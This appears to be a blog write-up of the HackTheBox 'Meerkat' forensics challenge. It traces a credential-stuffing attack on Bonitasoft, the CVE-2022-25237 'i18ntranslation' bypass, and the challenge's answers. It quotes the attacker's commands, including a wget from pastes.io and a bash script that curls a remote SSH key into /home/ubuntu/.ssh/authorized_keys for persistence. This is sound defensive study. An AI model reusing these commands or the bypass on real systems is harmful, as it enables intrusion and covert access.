Meerkat Sherlock

I decided to tackle one of the more accessible challenges on HackTheBox: Meerkat. The premise is as follows:

As a rapidly expanding startup, Forela has been utilizing a business management platform. Unfortunately, our documentation is limited, and our administrators may not be the most security-aware. As our new security provider, we would like you to examine some PCAP and log data we have exported to confirm whether we have been compromised or not.

We’ve been provided with a zip file containing a .pcap file capturing network traffic during the suspected compromise and a .json file documenting security events that occurred within the same timeframe.

Establishing our Orientation

Beginning with our .pcap file, we can open it in Wireshark and examine the Endpoints table to gain insights into the IP addresses associated with any occurrences during that period.

Sorting by packets under the TCP table, we observe that the local host 172.31.6.44, likely the business management platform or an internal endpoint, is predominantly receiving traffic on ports 37022, 8080, 61254, 61255, and 22. While TCP 37022, 61254, and 61255 lack registrations for specific services, 8080 is associated with HTTP, and 22 is designated for SSH. This suggests the presence of a web server.

Additional noteworthy traffic originates from foreign hosts: 54.144.148.213, 95.181.232.30, 138.199.59.221, and 156.146.62.213. TCP traffic to a web server alone isn’t immediately suspicious, so we’ll make note of this for further investigation.

Delving into the packet stream, we filter by tcp.port == 8080 && ip.dst == 172.31.6.44 to examine some of the inbound traffic.

Right away, we encounter an HTTP request that provides information about our web server.

The “GET /bonita HTTP/1.1” request is linked to the Bonitasoft Business Process Management Software. This information not only identifies the chosen platform for business processes but also serves as a starting point for investigating potential vulnerabilities that may have been exploited.

Task 1 Answer: Bonitasoft

Identifying and Assessing the Issue

Upon further examination of Wireshark, we notice numerous POST requests directed to /bonita/loginservice, all originating from the same IP address, 156.146.62.213, and occurring within a short time frame of each other.

Upon inspecting the form items within each request, we discover various usernames and passwords being submitted.

Considering the consistent traffic originating from the same IP address and the rapid submission rate, it appears to be a brute force attack. More specifically, the utilization of sets of credentials rather than testing multiple usernames with a single password at a time (or vice versa) indicates that this is likely a credential stuffing attack.

Task 2 Answer: Credential Stuffing

Shifting our focus to the JSON file, we can initiate a search for alerts documenting this attack by looking for instances of “Login.” Fortunately, we quickly encounter a promising lead.

{
			"severity": 1,
			"signature": "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)",
			"category": "Successful Administrator Privilege Gain",
			"action": "allowed",
			"signature_id": 2036817,
			"gid": 1,
			"rev": 1,
			"metadata": {
				"signature_severity": [
					"Major"
				],
				"former_category": [
					"EXPLOIT"
				],
				"attack_target": [
					"Server"
				],
				"deployment": [
					"SSLDecrypt",
					"Perimeter"
				],
				"affected_product": null,
				"created_at": [
					"2022_06_03"
				],
				"performance_impact": null,
				"updated_at": [
					"2022_06_03"
				],
				"malware_family": null,
				"tag": null,
				"cve": [
					"CVE_2022_25237"
				]
			}
		},

Upon investigating CVE-2022–25237, we uncover a critical vulnerability affecting Bonita Web 2021.2. This confirmation aligns with the suspicious POST requests we observed earlier, providing insight into the likely source of the attack.

Task 3 Answer: CVE-2022–25237

The vulnerability works by adding “i18ntranslation” in one of two variations to the end of a URL, resulting in access to privileged API endpoints that could lead to remote code execution.

Task 4 Answer: i18ntranslation

Tracing the Pathway

Returning to Wireshark, we apply the filter “http” to gain a more comprehensive understanding of the traffic that triggered this attack.

We identify a sequence of POST requests, each followed by a 401 status code, indicating invalid credentials. In total, 56 distinct sets of username-password combinations were employed.

Task 5 Answer: 56

Finally, there’s an anomaly in the stream of POST requests.

After attempting a login with the username “seb.broom@forela.co.uk” and the password “g0vernm3nt,” an HTTP code 204 is returned, signifying successful authentication. Subsequently, four calls are made to the Bonita API. This aligns with the CVE we identified, strongly suggesting that these are the credentials that were successfully compromised.

Task 6 Answer: seb.broom@forela.co.uk:g0vernm3nt

After successfully authenticating, the attacker initiates a POST request to upload a file titled “rce_api_extension.zip.”

Upon investigation, we discover that the “zip” file corresponds to a Github repository containing the proof-of-concept created by Rhino Security Labs during the initial disclosure of the vulnerability to Bonitasoft. This finding serves as additional confirmation that the attack is indeed a result of CVE-2022–25237.

Furthermore, the zip file undergoes further interaction through a subsequent POST request to properly configure it within the web server’s storage.

Directly after this upload and setup, we come across a particularly concerning GET request to the server.

The parameter “cmd” is configured as “whoami,” a command designed to reveal the identity of the currently logged-in user. As anticipated, the subsequent HTTP packet contains the server’s response in the form of JSON.

The attacker has effectively attained root access to the web server, granting them complete control. Subsequently, they delete the zip file to eliminate the indicator of compromise, presumably attempting to conceal their actions while enumerating the web server.

In our ongoing investigation, the attacker resumes testing various username-password combinations before revisiting the previously successful set of credentials.

Interestingly, the attacker’s IP address changes at this point, transitioning from 156.146.62.213 to 138.199.59.221. This alteration could signify a switch in their VPN, a connection from a different network, or a change in the system they are using.

Nevertheless, we can infer that this is the same attacker or, at the very least, someone affiliated with the original attacker. The new IP address resumes the same attack within a minute of the conclusion of the brute force attack conducted by the initial IP address. They leverage the cracked credentials to log back in, reupload “rce_api_extension.zip,” configure it as before, and execute another series of commands using a GET request. This time, they run “cat /etc/passwd” to enumerate usernames of all users set up on the web server, along with details on each account. Subsequently, they once again delete the zip file to cover their tracks.

A novel development occurs at this point. The attacker uploads the zip file once more, as in their previous actions, and issues a command through a GET request. However, this time the command is

wget https://pastes.io/raw/bx5gcr0et8

The attacker is downloading something onto the web server using the text-sharing site “pastes.io.”

Task 7 Answer: pastes.io

Following the link in the wget, we land on a raw webpage containing the following text.

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

The attacker has uploaded a bash script to the web server, which, when executed, downloads another text file from a separate link into the authorized SSH RSA keys. Subsequently, the script restarts the SSH service on the server. To enhance security controls, it would be prudent to hash this script file and add it to EDRs (Endpoint Detection and Response systems) to detect any future attempts to use it.

We’ll go ahead and following the link to the other file used in the first script the attacker uploaded. Going to that webpage, we’re once again met with raw text.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgruRMq3DMroGXrcPeeuEqQq3iS/sAL3gryt+nUqbBA/M+KG4ElCvJS4gP2os1b8FMk3ZwvrVTdpEKW6wdGqPl2wxznBjOBstx6OF2yp9RIOb3c/ezgs9zvnaO07YC8Sm4nkkXHgkabqcM7rHEY4Lay0LWF9UbxueSAHIJgQ2ADbKSnlg0gMnJTNRwKbqesk0ZcG3b6icj6nkKykezBLvWc7z4mkSm28ZVTa15W3HUWSEWRbGgJ6eMBdi7WnWXZ92SYDq0XUBV2Sx2gjoDGHwcd6I0q9BU52wWYo3L3LaPEoTcLuA+hnn82086oUzJfmEUtWGlPAXfJBN7vRIMSvsN

The attacker has successfully uploaded a known RSA key to the authorized SSH keys on the web server. By doing so, they gain the ability to connect to the web server over SSH using the corresponding private key, establishing persistence.

For added security, it’s advisable to hash this file and incorporate it into our filters.

Task 9 New Answer: hffgra4unv

Reviewing the earlier analyzed file, it becomes apparent that the new SSH key was being appended to the keys stored in /home/ubuntu/.ssh/authorized_keys.

Task 10 Answer: /home/ubuntu/.ssh/authorized_keys

Upon consulting MITRE’s ATT&CK Matrix, we identify a Tactic, Technique, and Procedure (TTP) that aligns with the attacker’s actions: “SSH Authorized Keys (T1098.004)” falls under “Account Manipulation” in the “Persistence” column.

Finished………